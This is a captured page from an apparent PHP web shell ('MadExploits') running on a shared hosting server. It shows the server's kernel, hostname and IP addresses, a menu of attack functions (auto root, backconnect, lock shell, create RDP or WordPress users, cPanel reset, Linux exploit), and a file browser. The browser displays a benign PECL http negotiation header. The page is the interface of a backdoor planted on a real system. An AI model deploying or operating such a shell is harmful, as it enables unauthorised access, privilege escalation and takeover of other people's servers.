Linux premium180.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
LiteSpeed
: 162.0.209.168 | : 216.73.216.187
Cant Read [ /etc/named.conf ]
8.3.30
nortrmdp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
opt /
alt /
php81 /
usr /
include /
php /
ext /
http /
[ HOME SHELL ]
Name
Size
Permission
Action
php_http.h
1.03
KB
-rw-r--r--
php_http_api.h
4.03
KB
-rw-r--r--
php_http_buffer.h
10.27
KB
-rw-r--r--
php_http_client.h
7.18
KB
-rw-r--r--
php_http_client_curl.h
2.47
KB
-rw-r--r--
php_http_client_curl_event.h
1.01
KB
-rw-r--r--
php_http_client_curl_user.h
2.73
KB
-rw-r--r--
php_http_client_request.h
1.02
KB
-rw-r--r--
php_http_client_response.h
1.03
KB
-rw-r--r--
php_http_cookie.h
3.76
KB
-rw-r--r--
php_http_curl.h
1.29
KB
-rw-r--r--
php_http_encoding.h
4.63
KB
-rw-r--r--
php_http_encoding_brotli.h
2.06
KB
-rw-r--r--
php_http_encoding_zlib.h
2.3
KB
-rw-r--r--
php_http_env.h
3.76
KB
-rw-r--r--
php_http_env_request.h
1003
B
-rw-r--r--
php_http_env_response.h
3.22
KB
-rw-r--r--
php_http_etag.h
1.55
KB
-rw-r--r--
php_http_exception.h
2.26
KB
-rw-r--r--
php_http_filter.h
978
B
-rw-r--r--
php_http_header.h
1.76
KB
-rw-r--r--
php_http_header_parser.h
2.9
KB
-rw-r--r--
php_http_info.h
2.05
KB
-rw-r--r--
php_http_message.h
4.71
KB
-rw-r--r--
php_http_message_body.h
4.09
KB
-rw-r--r--
php_http_message_parser.h
3.24
KB
-rw-r--r--
php_http_misc.h
7.87
KB
-rw-r--r--
php_http_negotiate.h
3.92
KB
-rw-r--r--
php_http_object.h
1.81
KB
-rw-r--r--
php_http_options.h
2.19
KB
-rw-r--r--
php_http_params.h
2.39
KB
-rw-r--r--
php_http_querystring.h
1.83
KB
-rw-r--r--
php_http_response_codes.h
3.53
KB
-rw-r--r--
php_http_url.h
4.55
KB
-rw-r--r--
php_http_utf8.h
20.55
KB
-rw-r--r--
php_http_version.h
1.43
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : php_http_negotiate.h
/* +--------------------------------------------------------------------+ | PECL :: http | +--------------------------------------------------------------------+ | Redistribution and use in source and binary forms, with or without | | modification, are permitted provided that the conditions mentioned | | in the accompanying LICENSE file are met. | +--------------------------------------------------------------------+ | Copyright (c) 2004-2014, Michael Wallner <mike@php.net> | +--------------------------------------------------------------------+ */ #ifndef PHP_HTTP_NEGOTIATE_H #define PHP_HTTP_NEGOTIATE_H PHP_HTTP_API HashTable *php_http_negotiate(const char *value_str, size_t value_len, HashTable *supported, const char *primary_sep_str, size_t primary_sep_len); static inline HashTable *php_http_negotiate_language(HashTable *supported, php_http_message_t *request) { HashTable *result = NULL; size_t length; char *value = php_http_env_get_request_header(ZEND_STRL("Accept-Language"), &length, request); if (value) { result = php_http_negotiate(value, length, supported, "-", 1); } PTR_FREE(value); return result; } static inline HashTable *php_http_negotiate_encoding(HashTable *supported, php_http_message_t *request) { HashTable *result = NULL; size_t length; char *value = php_http_env_get_request_header(ZEND_STRL("Accept-Encoding"), &length, request); if (value) { result = php_http_negotiate(value, length, supported, NULL, 0); } PTR_FREE(value); return result; } static inline HashTable *php_http_negotiate_charset(HashTable *supported, php_http_message_t *request) { HashTable *result = NULL; size_t length; char *value = php_http_env_get_request_header(ZEND_STRL("Accept-Charset"), &length, request); if (value) { result = php_http_negotiate(value, length, supported, NULL, 0); } PTR_FREE(value); return result; } static inline HashTable *php_http_negotiate_content_type(HashTable *supported, php_http_message_t *request) { HashTable *result = NULL; size_t length; char *value = php_http_env_get_request_header(ZEND_STRL("Accept"), &length, request); if (value) { result = php_http_negotiate(value, length, supported, "/", 1); } PTR_FREE(value); return result; } #define PHP_HTTP_DO_NEGOTIATE_DEFAULT(supported) \ { \ zval *value; \ HashPosition pos; \ \ zend_hash_internal_pointer_reset_ex((supported), &pos); \ if ((value = zend_hash_get_current_data_ex((supported), &pos))) { \ RETVAL_ZVAL(value, 1, 0); \ } else { \ RETVAL_NULL(); \ } \ } #define PHP_HTTP_DO_NEGOTIATE_HANDLE_DEFAULT(supported, rs_array) \ PHP_HTTP_DO_NEGOTIATE_DEFAULT(supported); \ if (rs_array) { \ zval *value; \ \ ZEND_HASH_FOREACH_VAL(supported, value) \ { \ zend_string *zs = zval_get_string(value); \ add_assoc_double_ex(rs_array, zs->val, zs->len, 1.0); \ zend_string_release(zs); \ } \ ZEND_HASH_FOREACH_END(); \ } #define PHP_HTTP_DO_NEGOTIATE_HANDLE_RESULT(result, supported, rs_array) \ { \ zend_string *key; \ zend_ulong idx; \ \ if (zend_hash_num_elements(result) && HASH_KEY_IS_STRING == zend_hash_get_current_key(result, &key, &idx)) { \ RETVAL_STR_COPY(key); \ } else { \ PHP_HTTP_DO_NEGOTIATE_DEFAULT(supported); \ } \ \ if (rs_array) { \ zend_hash_copy(Z_ARRVAL_P(rs_array), result, (copy_ctor_func_t) zval_add_ref); \ } \ \ zend_hash_destroy(result); \ FREE_HASHTABLE(result); \ } #define PHP_HTTP_DO_NEGOTIATE(type, supported, rs_array) \ { \ HashTable *result; \ if ((result = php_http_negotiate_ ##type(supported, NULL))) { \ PHP_HTTP_DO_NEGOTIATE_HANDLE_RESULT(result, supported, rs_array); \ } else { \ PHP_HTTP_DO_NEGOTIATE_HANDLE_DEFAULT(supported, rs_array); \ } \ } #endif /* * Local variables: * tab-width: 4 * c-basic-offset: 4 * End: * vim600: noet sw=4 ts=4 fdm=marker * vim<600: noet sw=4 ts=4 */
Close